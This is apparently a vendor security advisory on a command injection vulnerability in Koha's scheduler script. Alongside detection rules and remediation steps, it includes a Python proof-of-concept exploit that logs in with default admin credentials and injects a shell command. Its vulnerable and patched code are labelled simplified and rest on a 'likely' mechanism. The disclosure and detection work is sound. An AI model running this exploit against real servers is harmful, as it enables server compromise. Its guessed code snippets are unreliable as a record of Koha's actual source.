CVE-2025-30076

Executive Summary

CVE-2025-30076 is a critical command injection vulnerability in the Koha open-source Integrated Library System (ILS). An authenticated administrator can execute arbitrary operating system commands by injecting shell metacharacters into the report parameter of the tools/scheduler.pl script. This allows for full server compromise, data exfiltration, and lateral movement within the library's network. The vulnerability is unpatched in versions prior to 24.11.02, and a proof-of-concept is publicly available.

Supply Chain & Package Security

Koha is a Perl-based application distributed as source code or via packages. The vulnerability exists in the core application code, not in a third-party dependency. However, administrators should verify the integrity of their Koha installation and ensure no malicious modifications have been made.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high privileges required reduce the base score, but the impact is severe. An attacker who gains admin credentials (e.g., via phishing or weak passwords) can fully compromise the server.

Deep Dive & Mechanics

The vulnerability resides in tools/scheduler.pl, a script used to schedule and manage reports. The script accepts a report parameter that is passed to a shell command without proper sanitization. Specifically, the parameter is likely used in a system() or backtick call, allowing an attacker to inject commands using characters like ;, |, &&, or backticks.

Root Cause: The application fails to escape or validate user-supplied input before passing it to the operating system shell.

Attack Flow:

1. Attacker authenticates as an admin.
2. Attacker sends a crafted POST/GET request to /tools/scheduler.pl with a malicious report parameter.
3. The injected command executes with the privileges of the web server (typically www-data or koha).
4. Attacker gains remote code execution.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-24.11.02):

# tools/scheduler.pl (simplified)
my $report = $cgi->param('report');
my $output = `run_report.pl $report`;  # Command injection

Patched Code (24.11.02+):

# tools/scheduler.pl (simplified)
use Koha::Utils qw(quote_shell);
my $report = $cgi->param('report');
my $safe_report = quote_shell($report);
my $output = `run_report.pl $safe_report`;  # Properly escaped

The patch uses a dedicated quoting function to ensure shell metacharacters are treated as literals.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Koha instance (version < 24.11.02)
• Admin credentials (e.g., admin:admin)

Exploit (Python):

import requests

target = "http://target-koha:8080"
admin_user = "admin"
admin_pass = "admin"

# Login
session = requests.Session()
login_data = {"userid": admin_user, "password": admin_pass, "branch": "CPL"}
session.post(f"{target}/cgi-bin/koha/mainpage.pl", data=login_data)

# Command injection payload
payload = "1;id"
exploit_url = f"{target}/cgi-bin/koha/tools/scheduler.pl?report={payload}"

response = session.get(exploit_url)
print(response.text)

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Hardening)

Detection Steps:

1. Monitor web server logs for requests to /tools/scheduler.pl with suspicious parameters (e.g., containing ;, |, &).
2. Use the YARA/Sigma rules below.
3. Enable WAF rules to block shell metacharacters in the report parameter.

Hardening:

• Upgrade to Koha 24.11.02 immediately.
• Restrict admin access to trusted IPs.
• Implement multi-factor authentication for admin accounts.
• Run Koha with minimal privileges (e.g., dedicated koha user).

Indicators of Compromise (IOCs)

• Network: HTTP requests to /cgi-bin/koha/tools/scheduler.pl with report parameter containing shell metacharacters.
• File System: Unexpected files in /tmp/ or web root (e.g., /var/www/koha/).
• Process: Unusual child processes spawned by Apache/Nginx (e.g., id, nc, bash).
• Logs: Apache/Nginx access logs showing report=1;id or similar patterns.

Detection Engineering

YARA Rule

rule CVE_2025_30076_Koha_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-30076 in Koha"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-30076"
    strings:
        $scheduler = "tools/scheduler.pl"
        $shell_chars = /[;|&`$()]/
    condition:
        $scheduler and #shell_chars > 2
}

Sigma Rule

title: CVE-2025-30076 Koha Command Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to Koha scheduler with shell metacharacters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'tools/scheduler.pl'
        cs-uri-query|re: 'report=.*[;|&`$()].*'
    condition: selection
falsepositives:
    - Legitimate admin use of complex report names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30076 Koha Command Injection Attempt"; flow:to_server,established; content:"/tools/scheduler.pl"; http_uri; pcre:"/report=[^&]*[;|&`$()]/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to Koha 24.11.02 or later.
2. If upgrade is not possible, apply a virtual patch using a WAF to block shell metacharacters in the report parameter.
3. Review admin accounts and revoke unnecessary privileges.

Long-term:

• Implement a secure coding policy that mandates input validation and output encoding.
• Conduct regular security audits and penetration tests.
• Monitor the Koha security mailing list for future advisories.

Valters IT
Securing Your Digital Infrastructure